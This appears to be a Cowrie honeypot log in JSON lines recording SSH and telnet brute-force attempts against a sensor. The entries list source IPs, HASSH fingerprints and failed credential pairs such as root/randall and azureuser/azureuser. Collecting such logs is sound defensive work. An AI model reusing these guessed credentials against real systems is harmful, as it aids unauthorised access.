{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":49460,"dst_ip":"159.203.135.109","dst_port":22,"session":"680b09e6da1c","protocol":"ssh","message":"New connection: 77.94.47.83:49460 (159.203.135.109:22) [session: 680b09e6da1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:14.875689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:14.879416Z","src_ip":"77.94.47.83","session":"680b09e6da1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:14.990315Z","src_ip":"77.94.47.83","session":"680b09e6da1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"randall","message":"login attempt [root/randall] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:15.323013Z","src_ip":"77.94.47.83","session":"680b09e6da1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:15.578442Z","src_ip":"103.77.175.15","session":"dd6008b90f42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:16.435752Z","src_ip":"77.94.47.83","session":"680b09e6da1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":63850,"dst_ip":"10.17.0.5","dst_port":22,"session":"988c5f22e200","protocol":"ssh","message":"New connection: 5.196.136.131:63850 (10.17.0.5:22) [session: 988c5f22e200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:18.454684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:18.458005Z","src_ip":"5.196.136.131","session":"988c5f22e200","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:18.536937Z","src_ip":"5.196.136.131","session":"988c5f22e200","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:18.770941Z","src_ip":"5.196.136.131","session":"988c5f22e200","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.20.228.110","src_port":38198,"dst_ip":"10.17.0.5","dst_port":22,"session":"59ca3b8382b5","protocol":"ssh","message":"New connection: 1.20.228.110:38198 (10.17.0.5:22) [session: 59ca3b8382b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:19.043553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:19.047634Z","src_ip":"1.20.228.110","session":"59ca3b8382b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:19.318003Z","src_ip":"1.20.228.110","session":"59ca3b8382b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:19.851357Z","src_ip":"5.196.136.131","session":"988c5f22e200","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2025@","message":"login attempt [root/unitedstates2025@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:20.130455Z","src_ip":"1.20.228.110","session":"59ca3b8382b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:21.403665Z","src_ip":"1.20.228.110","session":"59ca3b8382b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":27135,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f7122e64628","protocol":"ssh","message":"New connection: 5.196.136.131:27135 (10.17.0.5:22) [session: 0f7122e64628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:22.803515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:22.807802Z","src_ip":"5.196.136.131","session":"0f7122e64628","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:22.886246Z","src_ip":"5.196.136.131","session":"0f7122e64628","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:23.115820Z","src_ip":"5.196.136.131","session":"0f7122e64628","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:24.194238Z","src_ip":"5.196.136.131","session":"0f7122e64628","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":45459,"dst_ip":"10.17.0.5","dst_port":22,"session":"137a09b4a40c","protocol":"ssh","message":"New connection: 5.196.136.131:45459 (10.17.0.5:22) [session: 137a09b4a40c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:27.152106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:27.155511Z","src_ip":"5.196.136.131","session":"137a09b4a40c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:27.229973Z","src_ip":"5.196.136.131","session":"137a09b4a40c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:27.478024Z","src_ip":"5.196.136.131","session":"137a09b4a40c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:28.556116Z","src_ip":"5.196.136.131","session":"137a09b4a40c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":17898,"dst_ip":"10.17.0.5","dst_port":22,"session":"666e73886d7b","protocol":"ssh","message":"New connection: 5.196.136.131:17898 (10.17.0.5:22) [session: 666e73886d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:31.558625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:31.562036Z","src_ip":"5.196.136.131","session":"666e73886d7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:31.638431Z","src_ip":"5.196.136.131","session":"666e73886d7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:31.869367Z","src_ip":"5.196.136.131","session":"666e73886d7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:32.948677Z","src_ip":"5.196.136.131","session":"666e73886d7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":39306,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6cc44dd7b1c","protocol":"ssh","message":"New connection: 5.196.136.131:39306 (10.17.0.5:22) [session: f6cc44dd7b1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:35.903670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:35.907696Z","src_ip":"5.196.136.131","session":"f6cc44dd7b1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:35.984739Z","src_ip":"5.196.136.131","session":"f6cc44dd7b1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40398,"dst_ip":"159.203.135.109","dst_port":23,"session":"08cbd939ef57","protocol":"telnet","message":"New connection: 170.64.224.25:40398 (159.203.135.109:23) [session: 08cbd939ef57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:36.147230Z"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:36.216822Z","src_ip":"5.196.136.131","session":"f6cc44dd7b1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.44.20.34","src_port":41918,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7df08990447","protocol":"ssh","message":"New connection: 188.44.20.34:41918 (10.17.0.5:22) [session: a7df08990447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:36.554938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:36.558253Z","src_ip":"188.44.20.34","session":"a7df08990447","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:36.681344Z","src_ip":"188.44.20.34","session":"a7df08990447","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:d7:d2:ef:ea:59:8c:4d:16:80:34:6f:44:2f:46:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC550at6pJ56BLfB1gpm7+oaeEii+wEdFFVVbOqcsMq1A0sKJXezwz/KKIfQKvtERPbxBOUNlAMtxDkkvimzbsbyww4Voj94zPlO39nwm3sM+XNkkt7LGrRxeSN9VGs+8eKY/iRL591OcbWpOygNnlX6WUZmigtB1YcX2K4bE5yBrEeG1uFuTL6hEukFK2QDevLQ/15XLXsREd+uAaTo0fqKt7LRJm8HzyGJMS+xkdNmivznEYUPMdiW1HqnDRTKLuKM5bsKRLhc3bL6D8DTqo7iWwKUoc7q6Ol16BXW11ht7VsYeIV+VgPaSXCFwrTWKKe2oRZAqVjKIDZ3BTHo7aB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:d7:d2:ef:ea:59:8c:4d:16:80:34:6f:44:2f:46:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:22:37.264304Z","src_ip":"188.44.20.34","session":"a7df08990447","protocol":"ssh"}
